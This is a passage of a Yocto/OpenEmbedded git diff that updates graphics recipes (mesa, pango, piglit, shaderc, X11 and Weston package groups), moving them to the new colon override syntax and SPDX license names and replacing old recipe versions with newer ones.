-FILES_libegl-mesa-dev = "${libdir}/libEGL.* ${includedir}/EGL ${includedir}/KHR ${libdir}/pkgconfig/egl.pc"
-FILES_libgbm-dev = "${libdir}/libgbm.* ${libdir}/pkgconfig/gbm.pc ${includedir}/gbm.h"
-FILES_libgl-mesa-dev = "${libdir}/libGL.* ${includedir}/GL ${libdir}/pkgconfig/gl.pc"
-FILES_libglapi-dev = "${libdir}/libglapi.*"
-FILES_libgles1-mesa-dev = "${libdir}/libGLESv1*.* ${includedir}/GLES ${libdir}/pkgconfig/glesv1*.pc"
-FILES_libgles2-mesa-dev = "${libdir}/libGLESv2.* ${includedir}/GLES2 ${libdir}/pkgconfig/glesv2.pc"
-FILES_libgles3-mesa-dev = "${includedir}/GLES3"
-FILES_libosmesa-dev = "${libdir}/libOSMesa.* ${includedir}/GL/osmesa.h ${libdir}/pkgconfig/osmesa.pc"
-FILES_libxatracker-dev = "${libdir}/libxatracker.so ${libdir}/libxatracker.la \
+PACKAGES_DYNAMIC:class-native = "^mesa-driver-.*-native"
+
+FILES:mesa-megadriver = "${libdir}/dri/* ${datadir}/drirc.d/00-mesa-defaults.conf"
+FILES:mesa-vulkan-drivers = "${libdir}/libvulkan_*.so ${datadir}/vulkan"
+FILES:${PN}-vdpau-drivers = "${libdir}/vdpau/*.so.*"
+FILES:libegl-mesa = "${libdir}/libEGL.so.*"
+FILES:libgbm = "${libdir}/libgbm.so.*"
+FILES:libgles1-mesa = "${libdir}/libGLESv1*.so.*"
+FILES:libgles2-mesa = "${libdir}/libGLESv2.so.*"
+FILES:libgl-mesa = "${libdir}/libGL.so.*"
+FILES:libglapi = "${libdir}/libglapi.so.*"
+FILES:libosmesa = "${libdir}/libOSMesa.so.*"
+FILES:libxatracker = "${libdir}/libxatracker.so.*"
+
+FILES:${PN}-dev = "${libdir}/pkgconfig/dri.pc ${includedir}/vulkan ${libdir}/vdpau/*.so"
+FILES:libegl-mesa-dev = "${libdir}/libEGL.* ${includedir}/EGL ${includedir}/KHR ${libdir}/pkgconfig/egl.pc"
+FILES:libgbm-dev = "${libdir}/libgbm.* ${libdir}/pkgconfig/gbm.pc ${includedir}/gbm.h"
+FILES:libgl-mesa-dev = "${libdir}/libGL.* ${includedir}/GL ${libdir}/pkgconfig/gl.pc"
+FILES:libglapi-dev = "${libdir}/libglapi.*"
+FILES:libgles1-mesa-dev = "${libdir}/libGLESv1*.* ${includedir}/GLES ${libdir}/pkgconfig/glesv1*.pc"
+FILES:libgles2-mesa-dev = "${libdir}/libGLESv2.* ${includedir}/GLES2 ${libdir}/pkgconfig/glesv2.pc"
+FILES:libgles3-mesa-dev = "${includedir}/GLES3"
+FILES:libosmesa-dev = "${libdir}/libOSMesa.* ${includedir}/GL/osmesa.h ${libdir}/pkgconfig/osmesa.pc"
+FILES:libxatracker-dev = "${libdir}/libxatracker.so ${libdir}/libxatracker.la \
${includedir}/xa_tracker.h ${includedir}/xa_composite.h ${includedir}/xa_context.h \
${libdir}/pkgconfig/xatracker.pc"
# Fix upgrade path from mesa to mesa-megadriver
-RREPLACES_mesa-megadriver = "mesa"
-RCONFLICTS_mesa-megadriver = "mesa"
-RPROVIDES_mesa-megadriver = "mesa"
+RREPLACES:mesa-megadriver = "mesa"
+RCONFLICTS:mesa-megadriver = "mesa"
+RPROVIDES:mesa-megadriver = "mesa"
diff --git a/meta/recipes-graphics/mesa/mesa_19.1.6.bb b/meta/recipes-graphics/mesa/mesa_19.1.6.bb
deleted file mode 100644
index 19221e9e25..0000000000
--- a/meta/recipes-graphics/mesa/mesa_19.1.6.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require ${BPN}.inc
-
-SRC_URI = "https://mesa.freedesktop.org/archive/mesa-${PV}.tar.xz \
- file://0001-meson.build-check-for-all-linux-host_os-combinations.patch \
- file://0002-meson.build-make-TLS-GLX-optional-again.patch \
- file://0003-Allow-enable-DRI-without-DRI-drivers.patch \
- "
-
-SRC_URI[md5sum] = "7dbb40b8d10e89bee0a5bfc85350647b"
-SRC_URI[sha256sum] = "2a369b7b48545c6486e7e44913ad022daca097c8bd937bf30dcf3f17a94d3496"
-
-UPSTREAM_CHECK_GITTAGREGEX = "mesa-(?P<pver>\d+(\.\d+)+)"
-
-#because we cannot rely on the fact that all apps will use pkgconfig,
-#make eglplatform.h independent of MESA_EGL_NO_X11_HEADER
-do_install_append() {
- if ${@bb.utils.contains('PACKAGECONFIG', 'egl', 'true', 'false', d)}; then
- sed -i -e 's/^#if defined(MESA_EGL_NO_X11_HEADERS)$/#if defined(MESA_EGL_NO_X11_HEADERS) || ${@bb.utils.contains('PACKAGECONFIG', 'x11', '0', '1', d)}/' ${D}${includedir}/EGL/eglplatform.h
- fi
-}
diff --git a/meta/recipes-graphics/mesa/mesa_22.0.0.bb b/meta/recipes-graphics/mesa/mesa_22.0.0.bb
new file mode 100644
index 0000000000..96e8aa38d6
--- /dev/null
+++ b/meta/recipes-graphics/mesa/mesa_22.0.0.bb
@@ -0,0 +1,2 @@
+require ${BPN}.inc
+
diff --git a/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb b/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
index 4e89d631c3..12c72edb79 100644
--- a/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
+++ b/meta/recipes-graphics/mini-x-session/mini-x-session_0.1.bb
@@ -1,23 +1,24 @@
SUMMARY = "Very simple session manager for X"
+DESCRIPTION = "Simple session manager for X, that provides just the right boilerplate to create a session and launch the browser "
HOMEPAGE = "http://www.yoctoproject.org"
BUGTRACKER = "http://bugzilla.pokylinux.org"
PR = "r4"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://mini-x-session;endline=5;md5=b6430bffbcf05f9760e72938826b7487"
SECTION = "x11"
-RCONFLICTS_${PN} = "matchbox-common"
+RCONFLICTS:${PN} = "matchbox-common"
SRC_URI = "file://mini-x-session"
S = "${WORKDIR}"
-RDEPENDS_${PN} = "sudo"
+RDEPENDS:${PN} = "sudo"
inherit update-alternatives
-ALTERNATIVE_${PN} = "x-session-manager"
+ALTERNATIVE:${PN} = "x-session-manager"
ALTERNATIVE_TARGET[x-session-manager] = "${bindir}/mini-x-session"
ALTERNATIVE_PRIORITY = "50"
diff --git a/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch b/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch
deleted file mode 100644
index 82c93dd604..0000000000
--- a/meta/recipes-graphics/mx/mx-1.0/fix-test-includes.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Fix missing include directory when building tests
-
-This patch is currently required for all versions of mx
-Upstream-Status: Submitted @ https://github.com/clutter-project/mx/issues/82
-Signed-off-by: Tomas Frydrych <tomas@sleepfive.com>
---
-Index: git/tests/Makefile.am
-===================================================================
---- git.orig/tests/Makefile.am 2013-05-08 15:18:56.918596425 +0100
-+++ git/tests/Makefile.am 2013-05-08 15:23:26.864781401 +0100
-@@ -10,7 +10,8 @@
-
- INCLUDES = \
- -I$(top_srcdir) \
-- -I$(top_builddir)
-+ -I$(top_builddir)\
-+ -I$(top_builddir)/mx
-
- noinst_PROGRAMS = \
- test-deform-texture \
diff --git a/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb b/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb
deleted file mode 100644
index 58a6997ffe..0000000000
--- a/meta/recipes-graphics/mx/mx-1.0_1.4.7.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require mx.inc
-
-# The 1.4.7 tag does not build against cogl 1.14, pull in a revision with a fix
-SRCREV = "9b1db6b8060bd00b121a692f942404a24ae2960f"
-PV = "1.4.7+git${SRCPV}"
-
-# Exclude x.99.x versions from upstream checks
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>^\d+(\.(?!99)\d+)+)"
-
-SRC_URI = "git://github.com/clutter-project/mx.git;branch=mx-1.4 \
- file://fix-test-includes.patch \
- "
-S = "${WORKDIR}/git"
-
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=fbc093901857fcd118f065f900982c24 \
- file://mx/mx-widget.c;beginline=8;endline=20;md5=13bba3c973a72414a701e1e87b5ee879"
diff --git a/meta/recipes-graphics/mx/mx.inc b/meta/recipes-graphics/mx/mx.inc
deleted file mode 100644
index d304837484..0000000000
--- a/meta/recipes-graphics/mx/mx.inc
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Clutter based UI widget library"
-LICENSE = "LGPLv2.1"
-
-inherit clutter autotools distro_features_check gobject-introspection gtk-doc
-# depends on clutter-1.0 which depends on cogl-1.0
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-DEPENDS = "intltool-native clutter-1.0 dbus-glib gdk-pixbuf"
-
-SRC_URI = "http://source.clutter-project.org/sources/mx/${@get_verdir("${PV}")}/mx-${PV}.tar.xz"
-
-EXTRA_OECONF = "--disable-gtk-widgets \
- --with-dbus \
- --with-winsys=none \
- --without-clutter-imcontext \
- --without-clutter-gesture \
- --without-startup-notification \
- --without-glade \
- "
-
-FILES_${PN} += "${datadir}"
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb
deleted file mode 100644
index 87c700e023..0000000000
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-clutter.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-#
-# Copyright (C) 2007 OpenedHand Ltd.
-#
-
-SUMMARY = "Clutter package groups"
-
-PR = "r6"
-
-inherit packagegroup distro_features_check
-# rdepends on clutter-*
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-PACKAGES = "\
- ${PN}-core \
- "
-
-SUMMARY_${PN}-core = "Clutter graphics library"
-RDEPENDS_${PN}-core = "\
- clutter-1.0 \
- clutter-gst-3.0 \
- clutter-gtk-1.0 \
- "
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb
new file mode 100644
index 0000000000..0ce91ca940
--- /dev/null
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-weston.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Basic Weston compositor setup"
+DESCRIPTION = "Packages required to set up a basic working Weston session"
+PR = "r1"
+
+inherit packagegroup features_check
+
+# weston-init requires pam enabled if started via systemd
+REQUIRED_DISTRO_FEATURES = "wayland ${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', 'pam', '', d)}"
+
+RDEPENDS:${PN} = "\
+ weston \
+ weston-init \
+ weston-examples \
+ wayland-utils \
+ "
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
index 7ea72d55a7..0185c93354 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-base.bb
@@ -2,14 +2,13 @@ SUMMARY = "Basic X11 session"
DESCRIPTION = "Packages required to set up a basic working X11 session"
PR = "r1"
-inherit packagegroup distro_features_check
+inherit packagegroup features_check
# rdepends on matchbox-wm
REQUIRED_DISTRO_FEATURES = "x11"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
packagegroup-core-x11-xserver \
packagegroup-core-x11-utils \
- dbus \
matchbox-terminal \
matchbox-wm \
mini-x-session \
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
index 97dcac5f79..3bb308fbba 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11-xserver.bb
@@ -7,14 +7,14 @@ PR = "r40"
PACKAGE_ARCH = "${MACHINE_ARCH}"
-inherit packagegroup distro_features_check
+inherit packagegroup features_check
# rdepends on XSERVER
REQUIRED_DISTRO_FEATURES = "x11"
XSERVER ?= "xserver-xorg xf86-video-fbdev"
XSERVERCODECS ?= ""
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${XSERVER} \
${XSERVERCODECS} \
"
diff --git a/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb b/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
index 001db9e5e2..9ca058b38b 100644
--- a/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
+++ b/meta/recipes-graphics/packagegroups/packagegroup-core-x11.bb
@@ -4,7 +4,7 @@
PR = "r40"
-inherit packagegroup distro_features_check
+inherit packagegroup features_check
REQUIRED_DISTRO_FEATURES = "x11"
PACKAGES = "${PN} ${PN}-utils"
@@ -16,13 +16,13 @@ VIRTUAL-RUNTIME_xserver_common ?= ""
VIRTUAL-RUNTIME_graphical_init_manager ?= "xserver-nodm-init"
SUMMARY = "X11 display server and basic utilities"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PN}-xserver \
${PN}-utils \
"
-SUMMARY_${PN}-utils = "X11 basic utilities and init"
-RDEPENDS_${PN}-utils = "\
+SUMMARY:${PN}-utils = "X11 basic utilities and init"
+RDEPENDS:${PN}-utils = "\
${VIRTUAL-RUNTIME_xserver_common} \
${VIRTUAL-RUNTIME_graphical_init_manager} \
xauth \
diff --git a/meta/recipes-graphics/pango/pango/0001-Skip-thai-break-tests-without-libthai.patch b/meta/recipes-graphics/pango/pango/0001-Skip-thai-break-tests-without-libthai.patch
deleted file mode 100644
index 3f9ebff33e..0000000000
--- a/meta/recipes-graphics/pango/pango/0001-Skip-thai-break-tests-without-libthai.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 12beb39925b5a4574a7cfd86073b59bceb49f791 Mon Sep 17 00:00:00 2001
-From: Matthias Clasen <mclasen@redhat.com>
-Date: Wed, 4 Sep 2019 15:51:06 -0400
-Subject: [PATCH] Skip thai break tests without libthai
-
-If we don't have libthai, these tests fail.
-
-Closes: https://gitlab.gnome.org/GNOME/pango/issues/420
----
- tests/meson.build | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/tests/meson.build b/tests/meson.build
-index 4c22c12c..c617331f 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -89,9 +89,12 @@ test_breaks_data = [
- 'breaks/one',
- 'breaks/two',
- 'breaks/three',
-- 'breaks/four',
- ]
-
-+if thai_dep.found()
-+ test_breaks_data += [ 'breaks/four', ]
-+endif
-+
- test_items_data = [
- 'itemize/one',
- ]
---
-2.20.1
-
diff --git a/meta/recipes-graphics/pango/pango/run-ptest b/meta/recipes-graphics/pango/pango/run-ptest
index fa87a75779..e1fab050ef 100644
--- a/meta/recipes-graphics/pango/pango/run-ptest
+++ b/meta/recipes-graphics/pango/pango/run-ptest
@@ -1,3 +1,6 @@
#! /bin/sh
+# workaround for https://gitlab.gnome.org/GNOME/pango/-/issues/668
+mkdir -p /usr/share/fonts/pango-private
+cp -rf /usr/libexec/installed-tests/pango/fonts/* /usr/share/fonts/pango-private
gnome-desktop-testing-runner pango
diff --git a/meta/recipes-graphics/pango/pango_1.44.6.bb b/meta/recipes-graphics/pango/pango_1.44.6.bb
deleted file mode 100644
index 8138ef72c1..0000000000
--- a/meta/recipes-graphics/pango/pango_1.44.6.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-SUMMARY = "Framework for layout and rendering of internationalized text"
-DESCRIPTION = "Pango is a library for laying out and rendering of text, \
-with an emphasis on internationalization. Pango can be used anywhere \
-that text layout is needed, though most of the work on Pango so far has \
-been done in the context of the GTK+ widget toolkit. Pango forms the \
-core of text and font handling for GTK+-2.x."
-HOMEPAGE = "http://www.pango.org/"
-BUGTRACKER = "http://bugzilla.gnome.org"
-SECTION = "libs"
-LICENSE = "LGPLv2.0+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-inherit gnomebase gtk-doc ptest-gnome upstream-version-is-even gobject-introspection
-
-SRC_URI += "file://run-ptest \
- file://0001-Skip-thai-break-tests-without-libthai.patch"
-SRC_URI[archive.md5sum] = "db0a3243ba33e02aaa775412f8e5f412"
-SRC_URI[archive.sha256sum] = "3e1e41ba838737e200611ff001e3b304c2ca4cdbba63d200a20db0b0ddc0f86c"
-
-DEPENDS = "glib-2.0 glib-2.0-native fontconfig freetype virtual/libiconv cairo harfbuzz fribidi"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} \
- ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
-
-PACKAGECONFIG[x11] = ",,virtual/libx11 libxft"
-PACKAGECONFIG[tests] = "-Dinstall-tests=true, -Dinstall-tests=false"
-PACKAGECONFIG[thai] = ",,libthai"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-GIR_MESON_OPTION = 'introspection'
-
-LEAD_SONAME = "libpango-1.0*"
-
-FILES_${PN} = "${bindir}/* ${libdir}/libpango*${SOLIBS}"
-
-RDEPENDS_${PN}-ptest += "cantarell-fonts"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " locale-base-en-us"
-
-RPROVIDES_${PN} += "pango-modules pango-module-indic-lang \
- pango-module-basic-fc pango-module-arabic-lang"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/pango/pango_1.50.4.bb b/meta/recipes-graphics/pango/pango_1.50.4.bb
new file mode 100644
index 0000000000..0ea621bf67
--- /dev/null
+++ b/meta/recipes-graphics/pango/pango_1.50.4.bb
@@ -0,0 +1,54 @@
+SUMMARY = "Framework for layout and rendering of internationalized text"
+DESCRIPTION = "Pango is a library for laying out and rendering of text, \
+with an emphasis on internationalization. Pango can be used anywhere \
+that text layout is needed, though most of the work on Pango so far has \
+been done in the context of the GTK+ widget toolkit. Pango forms the \
+core of text and font handling for GTK+-2.x."
+HOMEPAGE = "http://www.pango.org/"
+BUGTRACKER = "http://bugzilla.gnome.org"
+SECTION = "libs"
+LICENSE = "LGPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7"
+
+GNOMEBASEBUILDCLASS = "meson"
+
+inherit gnomebase gi-docgen ptest-gnome upstream-version-is-even gobject-introspection
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+SRC_URI += "file://run-ptest"
+
+SRC_URI[archive.sha256sum] = "f4ad63e87dc2b145300542a4fb004d07a9f91b34152fae0ddbe50ecdd851c162"
+
+DEPENDS = "glib-2.0 glib-2.0-native fontconfig freetype virtual/libiconv cairo harfbuzz fribidi"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+
+PACKAGECONFIG[x11] = ",,virtual/libx11 libxft"
+PACKAGECONFIG[tests] = "-Dinstall-tests=true, -Dinstall-tests=false"
+PACKAGECONFIG[thai] = ",,libthai"
+
+GIR_MESON_OPTION = 'introspection'
+
+do_configure:prepend() {
+ chmod +x ${S}/tests/*.py
+}
+
+do_configure:prepend:toolchain-clang() {
+ sed -i -e "/Werror=implicit-fallthrough/d" ${S}/meson.build
+}
+
+LEAD_SONAME = "libpango-1.0*"
+
+FILES:${PN} = "${bindir}/* ${libdir}/libpango*${SOLIBS}"
+
+RDEPENDS:${PN}-ptest += "cantarell-fonts"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us"
+
+RPROVIDES:${PN} += "pango-modules pango-module-indic-lang \
+ pango-module-basic-fc pango-module-arabic-lang"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch b/meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch
new file mode 100644
index 0000000000..7b0cb17925
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0001-Add-a-missing-include-for-htobe32-definition.patch
@@ -0,0 +1,27 @@
+From d623e9797b7ee9b3739a8a4afe1a01f7e03754aa Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sun, 1 Nov 2020 20:08:49 +0000
+Subject: [PATCH] Add a missing include for htobe32 definition
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/piglit/-/merge_requests/609]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ tests/spec/nv_copy_depth_to_color/nv_copy_depth_to_color.c | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/tests/spec/nv_copy_depth_to_color/nv_copy_depth_to_color.c b/tests/spec/nv_copy_depth_to_color/nv_copy_depth_to_color.c
+index 5f45e0c23..c755ee29a 100644
+--- a/tests/spec/nv_copy_depth_to_color/nv_copy_depth_to_color.c
++++ b/tests/spec/nv_copy_depth_to_color/nv_copy_depth_to_color.c
+@@ -34,6 +34,8 @@
+
+ #include "piglit-util-gl.h"
+
++#include <endian.h>
++
+ #define IMAGE_WIDTH 60
+ #define IMAGE_HEIGHT 60
+
+--
+2.17.1
+
diff --git a/meta/recipes-graphics/piglit/piglit/0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch b/meta/recipes-graphics/piglit/piglit/0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch
new file mode 100644
index 0000000000..16c7c5c803
--- /dev/null
+++ b/meta/recipes-graphics/piglit/piglit/0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch
@@ -0,0 +1,30 @@
+From 1c67250308a92d4991ed05d9d240090ab84accae Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 10 Nov 2020 17:13:50 +0000
+Subject: [PATCH 2/2] tests/util/piglit-shader.c: do not hardcode build path
+ into target binary
+
+This helps reproducibilty.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ tests/util/piglit-shader.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/util/piglit-shader.c b/tests/util/piglit-shader.c
+index 4fd68d21e..c9ea8295e 100644
+--- a/tests/util/piglit-shader.c
++++ b/tests/util/piglit-shader.c
+@@ -73,7 +73,7 @@ piglit_compile_shader(GLenum target, const char *filename)
+
+ source_dir = getenv("PIGLIT_SOURCE_DIR");
+ if (source_dir == NULL) {
+- source_dir = SOURCE_DIR;
++ source_dir = ".";
+ }
+
+ snprintf(filename_with_path, FILENAME_MAX - 1,
+--
+2.17.1
+
diff --git a/meta/recipes-graphics/piglit/piglit_git.bb b/meta/recipes-graphics/piglit/piglit_git.bb
index d489f82b14..865eb4c272 100644
--- a/meta/recipes-graphics/piglit/piglit_git.bb
+++ b/meta/recipes-graphics/piglit/piglit_git.bb
@@ -1,14 +1,20 @@
SUMMARY = "OpenGL driver testing framework"
-LICENSE = "MIT & LGPLv2+ & GPLv3 & GPLv2+ & BSD-3-Clause"
+DESCRIPTION = "Piglit is an open-source test suite for OpenGL and OpenCL \
+implementations."
+HOMEPAGE = "https://gitlab.freedesktop.org/mesa/piglit"
+BUGTRACKER = "https://gitlab.freedesktop.org/mesa/piglit/-/issues"
+LICENSE = "MIT & LGPL-2.0-or-later & GPL-3.0-only & GPL-2.0-or-later & BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=b2beded7103a3d8a442a2a0391d607b0"
-SRC_URI = "git://gitlab.freedesktop.org/mesa/piglit.git;protocol=https \
+SRC_URI = "git://gitlab.freedesktop.org/mesa/piglit.git;protocol=https;branch=main \
file://0001-cmake-install-bash-completions-in-the-right-place.patch \
file://0001-cmake-use-proper-WAYLAND_INCLUDE_DIRS-variable.patch \
+ file://0001-Add-a-missing-include-for-htobe32-definition.patch \
+ file://0002-tests-util-piglit-shader.c-do-not-hardcode-build-pat.patch \
"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "0d1a47a4c10d4dd7225bd6510f8191684b31235e"
+SRCREV = "2f80c7cc9c02d37574dc8ba3140b7dd8eb3cbf82"
# (when PV goes above 1.0 remove the trailing r)
PV = "1.0+gitr${SRCPV}"
@@ -19,7 +25,7 @@ X11_RDEPS = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'mesa-demos', '', d)
DEPENDS = "libpng waffle libxkbcommon virtual/libgl python3-mako-native python3-numpy-native python3-six-native virtual/egl"
-inherit cmake pkgconfig python3native distro_features_check bash-completion
+inherit cmake pkgconfig python3native features_check bash-completion
# depends on virtual/libgl
REQUIRED_DISTRO_FEATURES += "opengl"
@@ -33,25 +39,32 @@ do_compile[dirs] =+ "${B}/temp/"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
PACKAGECONFIG[freeglut] = "-DPIGLIT_USE_GLUT=1,-DPIGLIT_USE_GLUT=0,freeglut,"
PACKAGECONFIG[x11] = "-DPIGLIT_BUILD_GL_TESTS=ON,-DPIGLIT_BUILD_GL_TESTS=OFF,${X11_DEPS}, ${X11_RDEPS}"
+PACKAGECONFIG[vulkan] = "-DPIGLIT_BUILD_VK_TESTS=ON,-DPIGLIT_BUILD_VK_TESTS=OFF,vulkan-loader"
+export PIGLIT_BUILD_DIR = "../../../../git"
-do_configure_prepend() {
+do_configure:prepend() {
if [ "${@bb.utils.contains('PACKAGECONFIG', 'freeglut', 'yes', 'no', d)}" = "no" ]; then
sed -i -e "/^#.*include <GL\/freeglut_ext.h>$/d" ${S}/src/piglit/glut_wrap.h
sed -i -e "/^#.*include.*<GL\/glut.h>$/d" ${S}/src/piglit/glut_wrap.h
fi
}
+# Forcibly strip because Piglit is *huge*
OECMAKE_TARGET_INSTALL = "install/strip"
-RDEPENDS_${PN} = "waffle waffle-bin python3 python3-mako python3-json \
+RDEPENDS:${PN} = "waffle waffle-bin python3 python3-mako python3-json \
python3-misc \
python3-unixadmin python3-xml python3-multiprocessing \
python3-six python3-shell python3-io \
python3-netserver bash \
"
-INSANE_SKIP_${PN} += "dev-so already-stripped"
+INSANE_SKIP:${PN} += "dev-so already-stripped"
+
+# As nothing builds against Piglit we don't need to have anything in the
+# sysroot, especially when this is ~2GB of test suite
+SYSROOT_DIRS:remove = "${libdir}"
# Can't be built with ccache
CCACHE_DISABLE = "1"
diff --git a/meta/recipes-graphics/pong-clock/pong-clock_1.0.bb b/meta/recipes-graphics/pong-clock/pong-clock_1.0.bb
index cdfe38a221..d0794f8ee6 100644
--- a/meta/recipes-graphics/pong-clock/pong-clock_1.0.bb
+++ b/meta/recipes-graphics/pong-clock/pong-clock_1.0.bb
@@ -1,8 +1,8 @@
SUMMARY = "A clock combined with a game of pong"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
DEPENDS = "virtual/libx11 xdmcp xau"
-inherit distro_features_check pkgconfig
+inherit features_check pkgconfig
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch b/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch
new file mode 100644
index 0000000000..cc9a400028
--- /dev/null
+++ b/meta/recipes-graphics/shaderc/files/0001-cmake-disable-building-external-dependencies.patch
@@ -0,0 +1,109 @@
+From 071a9d71bea91bbefcf15e061fc87e53568f3188 Mon Sep 17 00:00:00 2001
+From: Jose Quaresma <quaresma.jose@gmail.com>
+Date: Sat, 13 Feb 2021 00:45:56 +0000
+Subject: [PATCH 1/3] cmake: disable building external dependencies
+
+- add cmake option to disable the build of the third_party dependencies
+- change the update_build_version.py to use pkg-config when third_party dependencies not found
+
+Upstream-Status: Inappropriate [OE-core specific]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+---
+ CMakeLists.txt | 13 ++++++++++---
+ utils/update_build_version.py | 22 +++++++++++++++-------
+ 2 files changed, 25 insertions(+), 10 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 5c74cd8..b358f6b 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -41,6 +41,7 @@ else()
+ endif()
+
+ option(SHADERC_ENABLE_WERROR_COMPILE "Enable passing -Werror to compiler, if available" ON)
++option(BUILD_EXTERNAL "Build external dependencies in /third_party" ON)
+
+ set (CMAKE_CXX_STANDARD 11)
+
+@@ -101,8 +102,14 @@ endif(MSVC)
+
+
+ # Configure subdirectories.
+-# We depend on these for later projects, so they should come first.
+-add_subdirectory(third_party)
++if(BUILD_EXTERNAL)
++ # We depend on these for later projects, so they should come first.
++ add_subdirectory(third_party)
++else()
++ find_package(PkgConfig REQUIRED)
++ pkg_check_modules (PKG_CHECK REQUIRED SPIRV-Tools)
++ pkg_check_modules (PKG_CHECK REQUIRED glslang)
++endif()
+
+ add_subdirectory(libshaderc_util)
+ add_subdirectory(libshaderc)
+@@ -112,7 +119,7 @@ add_subdirectory(examples)
+ add_custom_target(build-version
+ ${PYTHON_EXECUTABLE}
+ ${CMAKE_CURRENT_SOURCE_DIR}/utils/update_build_version.py
+- ${shaderc_SOURCE_DIR} ${spirv-tools_SOURCE_DIR} ${glslang_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR}/build-version.inc
